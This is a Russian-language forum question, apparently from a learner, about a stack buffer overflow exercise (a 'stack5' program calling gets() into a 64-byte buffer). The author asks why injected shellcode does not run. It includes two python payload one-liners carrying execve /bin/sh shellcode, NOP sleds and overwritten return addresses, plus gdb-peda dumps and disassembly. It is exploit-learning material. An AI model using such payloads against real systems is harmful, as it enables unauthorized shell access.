Я успешно переписал регистр EIP (указывая на мой шелл-код) и переполнил / поместил мой шелл-код в стек, но шелл-код не выполняется. Я скомпилировал с помощью команды
gcc -g -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
Вот вывод gdb-peda (попытка 1):
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff2a5 ("//shh/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
EDX: 0xb7fba01c --> 0x0
ESI: 0xb7fb8000 --> 0x1d6d6c
EDI: 0xb7fb8000 --> 0x1d6d6c
EBP: 0x0
ESP: 0xbffff2a5 ("//shh/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
EIP: 0x6850c031
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6850c031
[------------------------------------stack-------------------------------------]
0000| 0xbffff2a5 ("//shh/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
0004| 0xbffff2a9 ("h/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
0008| 0xbffff2ad --> 0x50e3896e
0012| 0xbffff2b1 --> 0xb0e18953
0016| 0xbffff2b5 --> 0x9080cd0b
0020| 0xbffff2b9 --> 0x90909090
0024| 0xbffff2bd --> 0x90909090
0028| 0xbffff2c1 --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6850c031 in ?? ()
gdb-peda$ run < <(python -c "print 'A'*17 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*24 + '\xbf\xff\xf2\xa5'[::-1]")
Вывод gdb-peda (попытка 2):
gdb-peda$ run < <(python -c "print '\x90'*25 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80NOOOOPPPPQQQQQQQ' + '\xbf\xff\xf2\xad'[::-1]")
Starting program: /home/kali/Desktop/exploit-excersises/stack5 < <(python -c "print '\x90'*25 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80NOOOOPPPPQQQQQQQ' + '\xbf\xff\xf2\xad'[::-1]")
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff2ad ("//shh/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
EDX: 0xb7fba01c --> 0x0
ESI: 0xb7fb8000 --> 0x1d6d6c
EDI: 0xb7fb8000 --> 0x1d6d6c
EBP: 0x0
ESP: 0xbffff2ad ("//shh/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
EIP: 0x6850c031
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6850c031
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ad ("//shh/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
0004| 0xbffff2b1 ("h/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
0008| 0xbffff2b5 --> 0x50e3896e
0012| 0xbffff2b9 --> 0xb0e18953
0016| 0xbffff2bd --> 0x4e80cd0b
0020| 0xbffff2c1 ("OOOOPPPPQQQQQQQ\255\362\377\277")
0024| 0xbffff2c5 ("PPPPQQQQQQQ\255\362\377\277")
0028| 0xbffff2c9 ("QQQQQQQ\255\362\377\277")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6850c031 in ?? ()
Разобранная основная функция:
gdb-peda$ disas main
Dump of assembler code for function main:
0x08049162 <+0>: lea ecx,[esp+0x4]
0x08049166 <+4>: and esp,0xfffffff0
0x08049169 <+7>: push DWORD PTR [ecx-0x4]
0x0804916c <+10>: push ebp
0x0804916d <+11>: mov ebp,esp
0x0804916f <+13>: push ebx
0x08049170 <+14>: push ecx
0x08049171 <+15>: sub esp,0x40
0x08049174 <+18>: call 0x804919e <__x86.get_pc_thunk.ax>
0x08049179 <+23>: add eax,0x2e87
0x0804917e <+28>: sub esp,0xc
0x08049181 <+31>: lea edx,[ebp-0x48]
0x08049184 <+34>: push edx
0x08049185 <+35>: mov ebx,eax
0x08049187 <+37>: call 0x8049030 <gets@plt>
0x0804918c <+42>: add esp,0x10
0x0804918f <+45>: mov eax,0x0
0x08049194 <+50>: lea esp,[ebp-0x8]
0x08049197 <+53>: pop ecx
0x08049198 <+54>: pop ebx
0x08049199 <+55>: pop ebp
0x0804919a <+56>: lea esp,[ecx-0x4]
0x0804919d <+59>: ret
Исходный код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
операционная система:
Linux kali 5.4.0-kali3-686-pae #1 SMP Debian 5.4.13-1kali1 (2020-01-20) i686 GNU/Linux
Как можно заставить мой шелл-код выполняться?